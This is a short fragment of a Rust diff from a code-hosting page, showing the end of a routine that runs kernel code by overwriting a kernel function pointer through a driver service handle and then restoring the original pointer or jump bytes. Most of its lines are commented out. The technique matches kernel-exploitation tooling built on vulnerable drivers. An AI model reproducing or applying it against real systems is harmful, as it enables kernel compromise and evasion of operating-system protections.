// function = nt_gdi_dd_ddi_reclaim_allocations;
|
||||||
|
// }
|
||||||
|
|
||||||
|
// if !function.is_null() {
|
||||||
|
// call_function(function as _);
|
||||||
|
// }
|
||||||
|
|
||||||
|
// if !nt_gdi_get_copp_compatible_opm_information.is_null() {
|
||||||
|
// force_write_memory(
|
||||||
|
// service,
|
||||||
|
// kernel_fn_pointer,
|
||||||
|
// &mut kernel_original_function_address as *mut u64 as _,
|
||||||
|
// std::mem::size_of::<u64>() as _,
|
||||||
|
// );
|
||||||
|
// } else {
|
||||||
|
// force_write_memory(
|
||||||
|
// service,
|
||||||
|
// kernel_fn_pointer,
|
||||||
|
// kernel_original_function_jmp.as_mut_ptr() as *mut _,
|
||||||
|
// (std::mem::size_of::<u8>() * kernel_function_jmp.len() as usize) as _,
|
||||||
|
// );
|
||||||
|
// }
|
||||||
}
|
}
|
||||||
|
|
||||||
|
println!("Succesfully called kernel fn!");
|
||||||
true
|
true
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user